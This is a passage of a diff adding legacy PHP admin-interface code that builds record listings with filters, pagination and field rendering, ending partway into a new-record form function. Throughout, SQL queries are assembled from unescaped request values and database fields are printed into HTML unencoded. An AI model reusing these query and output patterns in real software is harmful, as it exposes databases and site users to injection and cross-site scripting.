+                                                               <OPTION VALUE="3" '.($x==3?"SELECTED":"").'>No
+                                                       </SELECT>
+                                                       ';
+                                       switch( $x )
+                                               {
+                                               case "2":
+                                                       $qs .= " AND ".$f[0]." = 't'";
+                                                       break;
+                                               case "3":
+                                               $qs .= " AND ".$f[0]." = 'f'";
+                                               break;
+                                           case "1":
+                                           default:
+                                               break;
+                                               } 
+                                       break;
+
+                               case "list" :
+                                               // If picklist options
+                                       $opts_table = array ();
+                                       $opts = explode_trim("~", $x[1]); // Separate list options
+                                       foreach ($opts as $opt)
+                                               {
+                                               $z = explode_trim("^", $opt); // Separate value from displayed text
+                                               $opts_table[$z[0]] = $z[1];
+                                               }
+                                       $opts_def = $GLOBALS[$f[3]] == '' ? '-1' : $GLOBALS[$f[3]];
+                                       $filter_out .= build_picklist($f[0], $opts_table, $opts_def, 'standard', $x[3].($x[3]!=''?'~':'')."blank");
+
+                                               // If there's any list options selected
+                                       if( is_array($GLOBALS[$f[3]]) )
+                                               {
+                                               $qss .= ' AND ( ';
+                                               $sep = '';
+                                               foreach( $GLOBALS[$f[3]] as $v )                // For each option specified
+                                                       {
+                                                       if( trim($v) != '' )                            // If the option is something other than ''
+                                                               {       
+                                                               $qss .= $sep.$f[0]." = ".$v."";
+                                                               $sep = ' OR ';
+                                                               }
+                                                       }
+                                               if( $sep != '' )                                                // If there were options selected other than ''
+                                                       $qs .= $qss.' )';                                       // add to the query
+                                               }
+                                         else
+                                               {
+                                               if( $GLOBALS[$f[3]] != '' )
+                                                       $qs .= ' AND '.$f[3].' = '.$GLOBALS[$f[3]];
+                                               }
+
+                                       break;
+
+
+                               case "category":
+
+                                               // If picklist is selected - use that for selection
+                                               
+                                       if( strstr($x[3],'picklist') )
+                                               {
+                                               if( ($nodes = cat_get_nodes($x[1])) )
+                                                       {
+                                                       $filter_out .= '<SELECT NAME="'.$f[0].'"><OPTION VALUE="">';
+                                                       
+                                                       reset($nodes);
+                                                       while( list($key, $val) = each($nodes) ) 
+                                                               {
+                                                               $filter_out .= '<OPTION VALUE="'.$val['id'].'">';
+                                                               if( strstr($x[3],'fullpath') )
+                                                                       $filter_out .= $val['cat_fullpath'];
+                                                                 else
+                                                                       {
+                                                                       for( $i=0 ; $i<$val['cat_level'] ; $i++ )
+                                                                               $filter_out .= "&nbsp;&nbsp;&nbsp;&nbsp;";
+                                                                       $filter_out .= $val['name'];
+                                                                       }
+                                                               }
+                                                       $filter_out .= '</SELECT>';
+                                                       }       
+                                                 else
+                                                       $filter_out .= 'No categories listed.';
+                                               }
+                                         else  // Otherwise use pop-up
+                                               {
+                                                       
+                                               // Check if a value for this field is supplied
+                                               if( !empty($filter_value) )
+                                                       {
+                                                       if( ($cval = cat_get_node( $x[1], "id = ".$filter_value ) ) )
+                                                               {
+                                                               $cat_id = $filter_value;
+                                                               if( strstr($x[3],'fullpath') )
+                                                                       $cat_name = $cval['cat_fullpath'];
+                                                                 else
+                                                                       $cat_name = $cval['cat_name'];
+                                                               }
+                                                       }
+                                                 else
+                                                       {
+                                                       $cat_id = 0;
+                                                       $cat_name = "&nbsp;&nbsp;&nbsp;";
+                                                       }
+                                                       
+                                               $pop_width = !empty($x[4]) ? $x[4] : 200 ;
+                                               $pop_height = !empty($x[5]) ? $x[5] : 300 ;
+                                               $edit_width = !empty($x[6]) ? $x[6] : 400 ;
+                                               $edit_height = !empty($x[7]) ? $x[7] : 500 ;
+       
+                                               $filter_out .= "
+                                                         <script language=\"JavaScript1.2\">
+                                                               <!--
+                                                                       function category_select_popup_".$f[0]."( target )
+                                                                               {
+                                                                                       // Pass values to the calendar
+                                                                                       
+                                                                               tempX = 400;
+                                                                               tempY = 300;
+                                                                               
+                                                                               node_id = this.document.getElementById( target ).value;
+                                                                               var theUrl='".SI_BASE_URL."/glm_apps/category_select_popup.phtml?id=' + node_id + '&field_name=".$f[0]."&table=".$x[1]."&options=".urlencode($x[3])."&edit_width=".$edit_width."&edit_height=".$edit_height."&pop_width=".$pop_width."&pop_height=".$pop_height."';
+                                                                       
+                                                                               tempX = tempX - 90;
+                                                                               //tempY = tempY - 170;
+                                                                               
+                                                                       if (navigator.appName == 'Netscape')
+                                                                                       {
+                                                                               CategoryWind = window.open( theUrl, 'Calendar','scrollbars=yes,toolbar=no,resizable=yes,width=".$pop_width.",height=".$pop_height.",screenx=' + tempX + ',screeny=' + tempY,1 );
+                                                                       }
+                                                                                 else
+                                                                                       {
+                                                                       CategoryWind = window.open( theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=no,width=".$pop_width.",height=".$pop_height.", top=' + tempY + ', left=' + tempX,1 );
+                                                                       }
+                                               
+                                                                               CategoryWind.focus();                           
+                                                                               }
+                                                               -->
+                                                         </script>
+                                                       ";
+                                                       
+                                               $filter_out .= '<INPUT TYPE="text" NAME="'.$f[0].'_NAME" ID="'.$f[0].'_NAME" VALUE="'.$cat_name.'" SIZE="'.$x[2].'" READONLY="readonly" STYLE="background-color: #eeeeee;">
+                                                                                                        <INPUT TYPE="hidden" NAME="'.$f[0].'" ID="'.$f[0].'" VALUE="'.$cat_id.'">
+                                                                                                        <A HREF="javascript:category_select_popup_'.$f[0].'(\''.$f[0].'\')">[Change]</A>
+                                                                                                       ';
+                                               }
+                                                       
+                                       if( $filter_value != '' )
+                                               $qs .= ' AND '.$f[0]." = '".$filter_value."'";
+
+                                       break;
+
+                               case "pointer":
+
+                                               // Get values from other table
+                                               
+                                       $w = !empty($x[4]) ? " WHERE ".$x[4] : "" ;             
+                                       $d = db_auto_get_data( "SELECT * FROM  ".$x[1].$w." ORDER BY ".$x[2].";", $conn_str, FALSE, 500 );
+                                                       
+                                       $p_id_field = !empty($x[3]) ? $x[3] : 'id';             // If no id field supplied, assume "id"
+                                       
+                                               // Build picklist data
+                                               
+                                       unset( $da );
+                                       if( !empty($d) )
+                                               {
+                                               while( list($key, $val) = each($d) )
+                                                       $da[$val[$p_id_field]] = $val[$x[2]];
+                                               $filter_out .= build_picklist( $f[0], $da, $filter_value, "standard", "blank" );
+                                               }
+                                         else
+                                               $filter_out .= '<FONT COLOR="red">No records from which to build picklist.</FONT>';
+                                               
+                                               // If value supplied, add to query WHERE clause
+                                               
+                                       if( !empty($filter_value) )
+                                               switch( $option )
+                                                       {
+                                                       case "like":
+                                                       case "begin":
+                                                       case "any":
+                                                               $filter_out .= '<FONT COLOR="red">Filter option for type "pointer" not valid. Must use "exact" for type pointer.</FONT>';
+                                                               break;
+                                                       case "exact":
+                                                       default:
+                                                               $qs .= " AND ".$f[0]." = '".$filter_value."'";
+                                                               break;
+                                                       }
+                                       break;
+
+                               default:
+                                       $filter_out .= '<FONT COLOR="red">UNKNOWN FILTER FIELD TYPE</FONT>';
+                                       break;
+
+                               }
+                       $filter_out .= '</TR>
+                            ';
+                       }    
+               $filter_out .= '</TABLE>
+                               <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+                               <INPUT TYPE="submit" VALUE="Show Selected Results">
+                               '.$form_params.'
+                       </FORM>
+                    ';
+               }
+
+               // If "new" option selected display link
+               
+       if( $option_new )
+               $new_out = '<A HREF="'.$url.'?Action='.urlencode($action).$link_params.'&Option=Add">[Add New Entry]</A><BR>
+                    ';
+            else
+               $new_out = "";
+                    
+
+               // Add in any ORDER BY clause (ignore anything after ".", which are nav options)
+               
+       if( !empty($sortclicked) )                                      // Check if user clicked a column title
+               {
+               $qs .= ' ORDER BY '.$sortclicked;
+               if( $list_sort_direction == 'Backward' )
+                       $qs .= " DESC";
+               } 
+         else
+               if( !empty($order) )
+                       {
+                       $qs .= " ORDER BY ";
+                       $ob_comma = "";
+                       $order_array = explode_trim( ",", $order );     // Break out multiple order by field names
+                       foreach( $order_array as $of )
+                               {
+                               $x = explode_trim( ".", $of );          // Break out field name from options
+                               $qs .= $ob_comma.$x[0];                 // Add field name to ORDER BY
+                               if( ereg("order_descending", $of) )     // If order_descending use DESC order in ORDER BY for this field
+                                       $qs .= " DESC";
+                               $ob_comma = ", ";                       // Next order by field will have a comma in front of it
+                               }
+                       }
+
+               // Get the data
+
+       $what_fields = "*";
+       if( $id_field != "" )
+               $what_fields = "*, ".$id_field." AS id";
+               
+       $query_string = "SELECT ".$what_fields." FROM ".$table." ".$qs.";";
+       
+       if( SI_DEBUG >= 1 ) $ret .=  "<PRE>admin_list_records()[".__LINE__."]: Query String = $query_string</PRE><BR>";
+
+       $data = db_auto_get_data( $query_string, $conn_str, $fail_mode, $rows, $start ); 
+       
+       if( $data )
+               {
+
+                       // Determine how much data we got back
+
+               reset( $data );
+               $return_counts = explode( "|", key($data) );      
+               $num = $return_counts[1];
+
+                       // Calculate last entry on page
+
+               $end_list = $num>($start+$rows) ? $start+$rows : $num;
+
+
+                       // Display page navigation
+
+               $nav_out = "";
+               if( $num > 0 && $option_nopaging == FALSE )
+                       {
+                       if( $start > 0 )
+                               $nav_out .= '<A HREF="'.$url.'?Action='.urlencode($action).$link_params.$filter_link.'&start='.($start-$rows).'">previous</A>
+                                    ';
+                           else
+                               $nav_out .= "<I>previous</I> \n";
+
+                       $nav_out .= ' <- <B>Results '.($start+1).' to '.($end_list).' of '.$num.'</B> -> 
+                            ';
+
+                       if( $num > $end_list )
+                               $nav_out .= '<A HREF="'.$url.'?Action='.urlencode($action).$link_params.$filter_link.'&start='.$end_list.'">next</A>
+                                    ';
+                           else
+                               $nav_out .= " <I>next</I>\n";
+                       }
+
+                       
+                       // Build field titles
+                       
+               $fieldcount = 0; 
+               foreach( $field_table as $field )
+                       {
+                       $f2 = explode_trim( "~", $field[2] );   // Only use name, don't include QuickTip text.
+                       $f2_name = $f2[0];
+                       switch( $field[1] )
+                               {
+                               default:
+                                       if( $option_sortlinks )
+                                               {
+                                               $scd = '';
+                                                       
+                                                       // Check if a column title has been clicked to cause a sort
+                                               if( $sortclicked == $field[0] )
+                                                       {
+                                                               // Indicate sort direction
+                                                               
+                                                       if( $list_sort_direction == 'Forward' )
+                                                               $scd = "v";
+                                                         else
+                                                               $scd = "^";
+                                                       }
+                                               $outnames[$fieldcount++] = $scd.' <A HREF="'.$url.'?Action='.urlencode($action).'&Option=List'.$link_params.$filter_link.'&sortclicked_new='.$field[0].'">'
+                                                               .$f2_name.'</A> '.$scd;
+                                               }
+                                         else
+                                               $outnames[$fieldcount++] = $f2_name;
+                                       break;
+                               }
+                       }
+                               
+               if( $operation_column )
+                       $outnames[$fieldcount++] = 'Operation';
+                       
+
+                       // For each result we're going to display
+                       
+               $reccount = 0;
+               foreach( $data as $key => $r )
+                       {
+                       
+                               // For each field in the result
+                       
+                       $fieldcount = 0;        
+                       foreach( $field_table as $field )
+                               {
+                               $w = explode_trim( "`", $field[1] );            // Separate out any format spec
+                               $f = explode_trim( ".", $w[0] );                        // break out the field type specs
+
+                                       // If there's any field format spec, save that in our $outvals array
+                                       
+                               if( isset($w[1]) && trim($w[1]) != '' )
+                                       {
+                                               // Replace each {field_name} tag with {#} as needed to reference the correct $outvals[$reccount][#] entry
+                                               
+                                       for( $i=0 ; $i<count($field_table) ; $i++ )
+                                               $w[1] = str_replace( '{'.$field_table[$i][0].'}', '{'.$i.'}', $w[1] );
+                                               
+                                               // Save the new format spec
+                                       $outvals[$reccount][$fieldcount]['format'] = $w[1];
+                                       }
+
+                               switch( $f[0] )
+                                       {
+
+                                       case "password":
+                                               $outvals[$reccount][$fieldcount]['data'] = '(hidden)'; 
+                                               break;
+                                       
+                                       case "lat":
+                                               $fw = 2;
+                                               if( $f[1] > 0 )
+                                                       $fw = $f[1];
+                                               $ns = 'N';
+                                               if( $r[$field[0]] < 0 )
+                                                       {
+                                                       $ns = 'S';
+                                                       $r[$field[0]] = -1 * $r[$field[0]];
+                                                       }
+                                               $dv = (int) $r[$field[0]];
+                                               $mv = ( $r[$field[0]] - $dv ) * 60;
+                                               $outvals[$reccount][$fieldcount]['data'] = sprintf( "<NOBR>%s %d&deg; %01.".$fw."f'</NOBR>", $ns, $dv, $mv );
+                                               break;
+                                                       
+                                       case "lon":
+                                               $fw = 2;
+                                               if( $f[1] > 0 )
+                                                       $fw = $f[1];
+                                               $ns = 'E';
+                                               if( $r[$field[0]] < 0 )
+                                                       {
+                                                       $ns = 'W';
+                                                       $r[$field[0]] = -1 * $r[$field[0]];
+                                                       }
+                                               $dv = (int) $r[$field[0]];
+                                               $mv = ( $r[$field[0]] - $dv ) * 60;
+                                               $outvals[$reccount][$fieldcount]['data'] = sprintf( "<NOBR>%s %d&deg; %01.".$fw."f'</NOBR>", $ns, $dv, $mv );
+                                               break;
+                                               
+                                       case "order":
+                                       case "int":
+                                       case "float":
+                                               $outvals[$reccount][$fieldcount]['data'] = $r[$field[0]];
+                                               break;
+
+                                       case "money":
+                                               $outvals[$reccount][$fieldcount]['data'] = "$".sprintf( "%01.2f", $r[$field[0]] );
+                                               break;
+                                               
+                                       case "fixed":
+                                               $outvals[$reccount][$fieldcount]['data'] = sprintf( "%01.".$f[1]."f", $r[$field[0]] );
+                                               break;
+                                               
+                                       case "date":
+                                       case "text":
+                                       case "textbox":
+                                       case "richtext":
+                                       case "inet":
+                                               $outvals[$reccount][$fieldcount]['data'] = $r[$field[0]];
+                                               break;
+                                               
+                                       case "state":
+                                               $outvals[$reccount][$fieldcount]['data'] = $GLOBALS['si_states_array'][$r[$field[0]]];
+                                               break;
+
+                                       case "country":
+                                               $outvals[$reccount][$fieldcount]['data'] = $GLOBALS['si_countries_array'][$r[$field[0]]];
+                                               break;
+                                               
+                                       case "url":
+                                               $outvals[$reccount][$fieldcount]['data'] = '<A HREF="'.$r[$field[0]].'">'.$r[$field[0]].'</A>';
+                                               break;
+
+                                       case "category":
+                                                       // Get the category name for this field is supplied
+                                               if( !empty($r[$field[0]]) )
+                                                       {
+                                                       if( $cval = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE id = ".$r[$field[0]].";", 0, $conn_str, FALSE ) )
+                                                               $outvals[$reccount][$fieldcount]['data'] = $cval['name'];
+                                                         else
+                                                               $outvals[$reccount][$fieldcount]['data'] = '<FONT COLOR="red">Unknown Category</FONT>';
+                                                       }
+                                                 else
+                                                       {
+                                                       $outvals[$reccount][$fieldcount]['data'] = "&nbsp;";
+                                                       }
+                                               break;
+                                                                       
+                                       case "pointer":
+                                                       // If {value_field} supplied use that, otherwise use id of record as value to match
+                                               $value_field = !empty($f[3]) ? $f[3] : "id" ;
+                                               
+                                                       // If {where} supplied use that, otherwise match {value_field} or "id" field
+                                               $w = '';
+                                               if( !empty($f[4]) )
+                                                       $w = " WHERE ".$f[4];
+                                                 elseif( trim($r[$field[0]]) != '' )
+                                                       $w = " WHERE ".$value_field." = ".$r[$field[0]];
+                                               
+                                               if( $w != '' )
+                                                       {
+                                                       $ref_fields = explode_trim( "~", $f[2] );               // Separate all fields to display
+                                                       $ref_select = $sep = '';
+                                                       foreach( $ref_fields as $ref_field )                    // Build fields spec for SELECT
+                                                               {
+                                                               $ref_select .= $sep.$ref_field;
+                                                               $sep = ',';
+                                                               }
+                                                       $pval = db_auto_get_row( "SELECT $ref_select FROM ".$f[1].$w.";", 0, $conn_str, $fail_mode );
+                                                       $outvals[$reccount][$fieldcount]['data'] = '';
+                                                       $ref_space = '';
+                                                       foreach( $ref_fields as $ref_field )                    // Put together all fields referenced as output
+                                                               {
+                                                               $outvals[$reccount][$fieldcount]['data'] .= $ref_space.$pval[$ref_field];
+                                                               $ref_space = ' ';
+                                                               }
+                                                       }
+                                                 else
+                                                       $outvals[$reccount][$fieldcount]['data'] = '';
+                                               break;
+                                       
+                                       case "checkbox":
+                                               $outvals[$reccount][$fieldcount]['data'] = $r[$field[0]] == "t" ? "Yes" : "No" ;
+                                               break;
+
+                                       case "image":
+                                               if( !empty($r[$field[0]]) )
+                                                       {
+                                                       switch( $f[1] )
+                                                               {
+                                                               case "o":       $img_url = SI_IMG_ORIGINAL_URL; break;
+                                                               case "r":       $img_url = SI_IMG_RESIZED_URL;  break;
+                                                               case "m":       $img_url = SI_IMG_MIDSIZED_URL; break;
+                                                               case "t":       $img_url = SI_IMG_THUMB_URL;    break;
+                                                               default:        $img_url = "none";              break;
+                                                               }       
+                                                       if( $img_url != "none" )
+                                                               $outvals[$reccount][$fieldcount]['data'] = '<IMG SRC="'.$img_url."/".$r[$field[0]].'">';
+                                                           else
+                                                               $outvals[$reccount][$fieldcount]['data'] = '<FONT COLOR="RED">Invalid Image Size</FONT>';
+                                                       }
+                                                   else
+                                                       $outvals[$reccount][$fieldcount]['data'] = '(no image)';
+                                               break;
+
+                                       case "file":
+                                               if( !empty($r[$field[0]]) )
+                                                       {
+                                                       if( ereg( 'secure', $f[2] ) )
+                                                               {
+                                                               if( !defined('SI_FILE_SECRET') || SI_FILE_SECRET == '' )
+                                                                       {
+                                                                       echo '<p><font color="red">ERROR: </font> SI_FILE_SECRET parameter required for <b>file_output_secure()</b><br>
+                                                                                       SI_FILE_SECRET defined parameter not found or no contents! Please check siteinfo.inc file.<p>';
+                                                                       exit;   
+                                                                       }
+                                                               $file_md5 = md5( $r[$field[0]].SI_FILE_SECRET );
+                                                               $outvals[$reccount][$fieldcount]['data'] = '<A HREF="'.SI_BASE_URL.'/glm_apps/file_output_secure.phtml?filename='.urlencode($r[$field[0]])
+                                                                               .'&md5='.$file_md5.'&path='.urlencode($f[1]).'">'.$r[$field[0]].'</A>';
+                                                               }
+                                                         else
+                                                               $outvals[$reccount][$fieldcount]['data'] = '<A HREF="'.SI_BASE_FILE_URL.'/'.$r[$field[0]].'">'.$r[$field[0]].'</A>';
+                                                       }
+                                                 else 
+                                                       $outvals[$reccount][$fieldcount]['data'] = '(no file)';
+                                               break;
+
+                                       case "list":
+                                               $opts_table = array ();
+                                               $opts = explode_trim( "~", $f[1] );     // Separate list options
+                                               foreach( $opts as $opt )
+                                                       {
+                                                       $z = explode_trim("^", $opt); // Separate value from displayed text
+                                                       $opts_table[$z[0]] = $z[1];
+                                                       }
+
+                                                       // In case there's multiple selected options, display results of all selected options with comma separators
+
+                                               $x = explode( '~', $r[$field[0]] );
+                                               $outvals[$reccount][$fieldcount]['data'] = $sep = '';
+                                               if( is_array($x) )
+                                                       foreach( $x as $y )
+                                                               {
+                                                               $outvals[$reccount][$fieldcount]['data'] .= $sep.$opts_table[$y];
+                                                               $sep = ', ';
+                                                               }
+
+                                               break;
+
+                                       default:
+                                               $outvals[$reccount][$fieldcount]['data'] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT>';
+                                               break;
+                                       
+                                       } // switch( field )
+                               $fieldcount++;
+                               } // foreach( field )
+
+                       if( $operation_column )
+                               {
+                               $op_view        = '<A HREF="'.$url.'?Action='.urlencode($action).'&Option=View'.$link_params.'&id='.$r["id"].'">[view] </A>';
+                               $op_edit        = '<A HREF="'.$url.'?Action='.urlencode($action).'&Option=Edit'.$link_params.'&id='.$r["id"].'">[edit] </A>';
+                               $op_delete      = '<A HREF="'.$url.'?Action='.urlencode($action).'&Option=Delete'.$link_params.'&id='.$r["id"].'">[delete] </A>';       
+                               $op_dupe        = '<A HREF="'.$url.'?Action='.urlencode($action).'&Option=Duplicate'.$link_params.'&id='.$r["id"].'">[duplicate] </A>';
+
+                                       // If operation column view is specified, use that
+                                       
+                               if( $option_opview )
+                                       {
+
+                                               // Replace all parameters in Operation View
+                                               
+                                       for( $i=0 ; $i<$fieldcount ; $i++ )
+                                               {
+                                               $opview = ereg_replace( "\\{".$i."\\}", $outnames[$i], $opview );
+                                               $opview = ereg_replace( "\\{encode:".$i."\\}", urlencode($outnames[$i]), $opview );
+                                               }
+                                       $opview = ereg_replace( "\\{link_params\}", $link_params, $opview );
+                                       $opview = ereg_replace( "\\{form_params\}", $form_params, $opview );
+                                       $opview = ereg_replace( "\\{op_view\}", $op_view, $opview );
+                                       $opview = ereg_replace( "\\{op_edit\}", $op_edit, $opview );
+                                       $opview = ereg_replace( "\\{op_delete\}", $op_delete, $opview );
+                                       $opview = ereg_replace( "\\{op_dupe\}", $op_dupe, $opview );
+                                       $opview = ereg_replace( "\\{op_url\}", $url, $opview );
+                                       $opview = ereg_replace( "\\{op_id\}", $r["id"], $opview );                                      
+
+                                       $outvals[$reccount][$fieldcount]['data'] = $opview;
+                                       $fieldcount++;
+
+                                       }
+                                 else  // Otherwise, include specified operations
+                                       {
+                                       $outvals[$reccount][$fieldcount]['data'] = "";
+                                       if( $option_view ) 
+                                               $outvals[$reccount][$fieldcount]['data'] .= $op_view;
+                                       if( $option_edit ) 
+                                               $outvals[$reccount][$fieldcount]['data'] .= $op_edit;
+                                       if( $option_delete ) 
+                                               $outvals[$reccount][$fieldcount]['data'] .= $op_delete; 
+                                       if( $option_duplicate )
+                                               $outvals[$reccount][$fieldcount]['data'] .= $op_dupe;
+                                       $fieldcount++;
+                                       }
+                               }
+                       
+                       $reccount++;
+                       } // foreach( record ) 
+
+                       // Replace parameters in Title - {n} represents the field names in the page title
+
+               } // if( $data )
+               
+       for( $i=0 ; $i<$fieldcount ; $i++ )
+               {
+               $a_title = ereg_replace( "\\{".$i."\\}", $outnames[$i], $a_title );
+               $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($outnames[$i]), $a_title );
+               }
+       $a_title = ereg_replace( "\\{filter\}", $filter_out, $a_title );
+       $a_title = ereg_replace( "\\{link_params\}", $link_params, $a_title );
+       $a_title = ereg_replace( "\\{form_params\}", $form_params, $a_title );
+       $a_title = ereg_replace( "\\{new\}", $new_out, $a_title );
+       $a_title = ereg_replace( "\\{nav\}", $nav_out, $a_title );
+               
+       $ret .=  "<CENTER>\n";
+
+       if( empty($view) )      // If $view is not supplied
+               {
+
+               if( trim($quick_tip) != '' )
+                       $a_title = quick_tip( $a_title, $quick_tip );
+                       
+                       // Display title, filter, and optional "new" link
+                       
+               $ret .=  $a_title.'
+                       '.$filter_out.'
+                       '.$new_out;
+
+                       // If there were results listed, display the results
+                       
+               if( $data && ($fields != "") )
+                       {
+                       $ret .=  $nav_out.'<BR>'.$nav_initials.'
+                               <TABLE BORDER="'.($option_noborder==FALSE?'1':'0').'">
+                                       <TR>
+                            ';
+                            
+                            // Display the titles for all columns
+                            
+                       for( $i=0 ; $i<$fieldcount ; $i++ )
+                               {
+                               if( !$hidden[$i] )
+                                       $ret .=  "<TH>".$outnames[$i]."&nbsp;</TH>";
+                               }
+                               
+                               // Display the data for each result
+                       
+                       for( $i=0 ; $i<$reccount ; $i++ )
+                               {
+                               $ret .=  "<TR>";
+
+                               for( $j=0 ; $j<$fieldcount ; $j++ )
+                                       {
+                                               // If the field is supposed to be seen
+                                               
+                                       if( !$hidden[$j] )
+                                               {
+                                                       // If there's a format spec, use that
+                                               if( $outvals[$i][$j]['format'] != '' )
+                                                       {
+                                                       $out = $outvals[$i][$j]['format'];
+                                                       for( $k=0 ; $k<$fieldcount ; $k++ )
+                                                               $out = str_replace( '{'.$k.'}', $outvals[$i][$k]['data'] , $out );  
+                                                       $ret .=  "<td>$out</td>";
+                                                       }                                                       
+                                                 else  // Otherwise just output the value
+                                                       $ret .=  "<TD>".$outvals[$i][$j]['data']."&nbsp;</TD>";
+                                               }
+                                       }
+                               $ret .=  "</TR>\n";
+
+                               }       
+                       $ret .=  '      </TABLE>
+                               '.$nav_out;
+                       }
+                   else
+                       $ret .=  '      <CENTER>(No results found)</CENTER>
+                            ';                 
+                       
+               }
+           else                // IF$view is supplied
+               {
+               
+                       // Replace any reference to {filter}, {new}, and {nav} in $view
+                               
+               $view = ereg_replace( "\\{filter\\}", $filter_out, $view );
+               $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+               $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+               $view = ereg_replace( "\\{new\\}", $new_out, $view );
+               $view = ereg_replace( "\\{nav\\}", $nav_out, $view );
+                       
+                       // Separate the header, body, and footer
+                               
+               $head = $body = $foot = "";
+               $x = explode( "{body}", $view );
+               if( count($x) == 2 )    // if {body} found then we have the head and the rest
+                       {
+                       $head = $x[0];
+                       $view = $x[1];
+                       }
+               $x = explode( "{/body}", $view );
+               if( count($x) == 2 )    // If {/body} found then we have the body and the foot
+                       {
+                       $body = $x[0];
+                       $foot = $x[1];
+                       } 
+                   else
+                       $body = $view;
+                               
+                       // Replace the values $head & $foot - {n} in Header and footer get names of fields
+
+               for( $i=0 ; $i<$fieldcount ; $i++ )
+                       {
+                       $head = ereg_replace( "\\{".$i."\\}", $outnames[$i], $head );
+                       $foot = ereg_replace( "\\{".$i."\\}", $outnames[$i], $foot );
+                       $head = ereg_replace( "\\{encode:".$i."\\}", urlencode($outnames[$i]), $head );
+                       $foot = ereg_replace( "\\{encode:".$i."\\}", urlencode($outnames[$i]), $foot );
+                       }
+                               
+               $ret .=  $a_title.$head;        // Output title & head sections
+               
+               if( $data )
+                       {       
+                               // Break up body into sections
+                               
+                       $body_parts = explode( "{section}", $body );    // Did I really write it that way???
+                       
+                               // For each body_part
+                               
+                       $bp = 0;
+                       
+                       for( $i=0 ; $i<$reccount ; $i++ )               // For each Record
+                               {
+                               $b = $body_parts[$bp++];                // Get body section and point to next
+                               if( $bp == count($body_parts) )         // if last available body section, start back at first
+                                       $bp = 0;
+                                       
+                               for( $j=0 ; $j<$fieldcount ; $j++ )             // For each field
+                                       {
+                                       $b = ereg_replace( "\\{".$j."\\}", $outvals[$i][$j]['data'], $b );      // Replace value for that field
+                                       $b = ereg_replace( "\\{encode:".$j."\\}", urlencode($outvals[$i][$j]['data']), $b );    // Replace value for that field
+                                       }
+                                       
+                               $ret .=  $b;    // Output this body section
+                               }
+                       }
+                   else
+                       $ret .=  "(No results found)\n";
+                               
+                       // Output foot
+                               
+               $ret .=  $foot;
+                       
+               }
+                       
+       $ret .=  "</CENTER>\n";
+       
+       return( array( 'text' => $ret, 'status' => true ) );
+
+}
+
+function admin_list_records( $table, $where, $order, $conn_str, $fields,
+                               $options, $fail_mode, $rows = 20, $start = 0,
+                               $url, $action, $params, $filters, $a_title, $view = "", $id_field = "", $quick_tip = "" )
+{
+       $r = admin_list_records_r( $table, $where, $order, $conn_str, $fields,
+                               $options, $fail_mode, $rows, $start,
+                               $url, $action, $params, $filters, $a_title, $view, $id_field, $quick_tip );
+                               
+       echo $r['text'];
+       return( $r['status'] );
+}
+
+
+
+
+       // Ask for a new record for a table
+
+function admin_new_record_r( $table, $conn_str, $fields, $url, $action, $params, $a_title, 
+                                               $view = "", $options = "", $quick_tip = "" )
+{
+
+       $ret = '';
+
+       $form_name = "edit";
+       $richtext_used = FALSE;         // Indicates whether richtext field type has been specified
+       $category_used = FALSE;         // Indicates whether categroy field type has been specified
+
+               // Make all submitted parameters available
+       
+//     extract($GLOBALS[HTTP_GET_VARS]);
+//     extract($GLOBALS[HTTP_POST_VARS]);
+       
+               // Check for any options
+               
+       $borders = strstr( $options, "borders" ) == FALSE ? 0 : 1;
+       
+               // Break out configuration data
+               
+       $field_table = explode_trim( "|", $fields );
+
+               // Don't be surprised if last field is blank
+               
+       if( trim($field_table[count($field_table)-1]) == "" )
+               array_pop( $field_table );
+
+       foreach( $field_table as $key => $r )
+               $field_table[$key] = explode_trim( ",", $r );
+
+               // Check for additional parameters that are passed
+
+       if( !empty($params) )
+               {
+               $param = explode_trim( "|", $params );  // Separate parameters
+               $link_params = $form_params = "";
+               foreach( $param as $p )
+                       {
+                       $x = explode_trim( ".", $p );   // Separate Names from Values
+                       $link_params .= "&".$x[0]."=".urlencode($x[1]);
+                       $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+                       }
+               }
+
+
+               // For each field in the result
+                               
+       $outcount = 0;
+       foreach( $field_table as $field )
+               {
+               
+               $f = explode_trim( ".", $field[1] );
+
+               $out[$outcount]["display"] = TRUE;
+               $out[$outcount]["field"] = $field[0];
+
+                       // Display title fields
+
+               $n = explode_trim( '~', $field[2] );                    // Separate QuickTip from title
+               $field_name_color = 'black';
+               switch( $field[3] )
+                       {
+                       case "TRUE":
+                       case "UNIQUE":
+                               $field_name_color = 'red';
+                       case "FALSE":
+                       case "SUPPLIED":
+                       case "DISPLAY":
+                       case "UNIQUE_NOT_REQ":
+                                       // setup tip display - requires show_QuickTip() and hide_QuickTip() functions from java_functions.js
+
+                               if( count($n) > 1 )
+                                       $out[$outcount]["name"] = quick_tip( '<font color="'.$field_name_color.'">'.$n[0].'</font>', $n[1] );
+                                 else
+                                       $out[$outcount]["name"] = '<FONT COLOR="'.$field_name_color.'">'.$field[2].'</FONT>';
+
+                               break;
+                       
+                       case "HIDDEN":  
+                               $out[$outcount]["name"] = '';
+                               break;
+                       
+                       default:
+                               $out[$outcount]["name"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                               break;
+                       }
+                       
+                       // Display input fields
+                       
+               switch( $f[0] )
+                       {
+                       case "password":
+                       case "money":
+                       case "int":
+                       case "order":
+                       case "url":
+                       case "text":
+                       case "inet":
+                       case "float":
+                       case "fixed":
+                               $v = "";
+                               $prefix = "";
+                               $s = $f[1];             // Field Input Size
+                               
+                               if( $f[0] == "int" )    // If it's an integer, default to 0
+                                       $v = 0;
+                                       
+                               if( $f[0] == "order" )  // If it's an "order" field, default to 9999 - last in list
+                                       $v = 9999;
+                               
+                               if( $f[0] == "money" )  // If it's money, default to 0.00
+                                       {
+                                       $prefix = "$";
+                                       $v = "0.00";
+                                       }
+
+                               if( $f[0] == "fixed" )  // If it's fixed, default to specified precision
+                                       {
+                                       $prefix = "";
+                                       $v = "0";
+                                       if( $f[1] > 0 )
+                                               {
+                                               $v .= '.';
+                                               for( $i=0 ; $i<$f[1] ; $i++ )
+                                                       $v .= '0';
+                                               $s = $f[1] + 4;
+                                               }       
+                                       }
+                                       
